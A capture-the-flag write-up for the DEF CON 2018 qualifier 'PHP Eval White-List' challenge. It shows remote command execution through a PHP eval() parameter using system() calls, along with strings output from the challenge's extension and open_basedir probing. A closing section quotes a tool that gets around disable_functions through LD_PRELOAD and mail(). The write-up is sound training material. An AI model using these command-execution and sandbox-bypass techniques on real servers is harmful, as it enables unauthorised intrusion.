DEF CON CTF Qualifier 2018 - PHP Eval White-List - Write-up

๐Ÿ”—Information

๐Ÿ”—Version

By Version Comment
noraj 1.0 Creation

๐Ÿ”—CTF

  • Name : DEF CON CTF Qualifier 2018
  • Website : oooverflow.io
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

๐Ÿ”—PHP Eval White-List - Web

PHP was dangerous, so we've fixed it!

http://c67f8ffd.quals2018.oooverflow.io

Files:

websec_eval_wl.so

๐Ÿ”—Quick way

Read the PHP source code (http://c67f8ffd.quals2018.oooverflow.io/source.txt):

1
2
3
4
5
6
7
8
[...]
<?php
if (isset($_POST['d'])) {
eval($_POST['d']);
} else {
echo 'Can you execute the <code>./flag</code> binary?';
}?>
[...]

So the user input is directly evaluated.

Want to exec something on the system? Let's use system().

Let's try system('id');:

1
2
/var/www/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The description says:

prevent you from accessing the flag binary up the current folder.

So the flag must be in ../

system("../flag");

1
OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}

๐Ÿ”—Longer way

The challenge is tagged as web and reverse and they provide us the custom php extension.

As I'm not a reverser I just used strings:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[...]
%s has an invalid type, please give it a string.
/home/vagrant/src/websec_eval_wl.c
The command doesn't have the expected size...
Err, please don't use null bytes...
The parameter '%s' isn't `/bin/id`, sorry :/
Haven't found '%s', read to hook.
Could not save function pointer for %s
The function '%s' isn't in the eval whitelist, dropping its call.
/bin/id
system
Found '%s', read to hook.
'%s' is hooked!
Init done!
function_pointer_saving
enabled
websec_eval_wl support
strcmp
/home/vagrant/src/utils.c
shell_exec
proc_open
passthru
popen
pcntl_exec
websec_eval_wl
API20151012,NTS
printf
strlen
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609
[...]

This looks like shell_exec, proc_open, passthru, popen, pcntl_exec is a whitelist and the title of the web page is Custom eval whitelisting.

But we can use system(). So I don't know if there was real whitelisting or if it was a troll.

system('ls -lA');

1
2
3
4
5
6
7
          total 168
-rw-r--r-- 1 root root 108376 May 5 04:58 bootstrap.min.css
-rw-r--r-- 1 root root 1672 May 12 18:09 index.php
-rw-r--r-- 1 root root 155 May 5 04:58 source.php
-rw-r--r-- 1 root root 1672 May 12 18:09 source.txt
d-wx-wx-wx 2 root root 12288 May 13 14:37 tmp
-rw-r--r-- 1 root root 33784 May 5 04:58 websec_eval_wl.so

print_r(scandir('.'));

1
2
3
4
5
6
7
8
9
10
11
          Array
(
[0] => .
[1] => ..
[2] => bootstrap.min.css
[3] => index.php
[4] => source.php
[5] => source.txt
[6] => tmp
[7] => websec_eval_wl.so
)

system('ls -lA ..'); => displays nothing

print_r(scandir('..'));

1
2
3
4
5
6

Warning: scandir(): open_basedir restriction in effect. File(..) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(44) : eval()'d code on line 1

Warning: scandir(..): failed to open dir: Operation not permitted in /var/www/html/index.php(44) : eval()'d code on line 1

Warning: scandir(): (errno 1): Operation not permitted in /var/www/html/index.php(44) : eval()'d code on line 1

At least there is really the open_basedir enforcement.

As the description suggests I read the open_basedir page of the PHP manual.

There is a note suggesting that PHP 5.3.0 is vulnerable:

As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/ in php.ini a script can tighten the configuration to /www/tmp/ at run-time with ini_set(). When listing several directories, you can use the PATH_SEPARATOR constant as a separator regardless of the operating system.

So let's check the PHP version:

phpinfo(); => PHP Version 7.0.28-0ubuntu0.16.04.1, so that's not the path to follow.

The start page was displaying Can you execute the ./flag binary? and we are in /var/www/html/ (system('pwd');) so I first thought that the flag was in /var/www/html/flag but this is impossible as we saw it didn't exist by doing some file listing.

As I said in the quick way write-up, there is also this in the description:

prevent you from accessing the flag binary up the current folder.

So the flag may be in /var/www/flag.

system("ls -l ../flag");

1
---x--x--x 1 root root 8600 May 11 16:29 ../flag

The description said Can you execute it and effectively it is only executable so it's useless to try to read it by any way.

system("../flag");

1
OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}

Note: passthru("../flag"); and a lot of other commands are working because there is no filtering (at least I didn't see any).

๐Ÿ”—Bonus

I was starting to read How to bypass disable_functions and open_basedir by Tarlogic.

From their github:

Chankro

Your favourite tool to bypass disable_functions and open_basedir in your > pentests.

๐Ÿ”—How it works

PHP in Linux calls a binary (sendmail) when the mail() function is executed. If we > have putenv() allowed, we can set the enviroment variable "LD_PRELOAD", so we can > preload an arbitrary shared object. Our shared object will execute our custom payload > (a binary or a bash script) without the PHP restrictions, so we can have a reverse > shell, for example.

It's a good read even if it was not useful for this challenge.

Share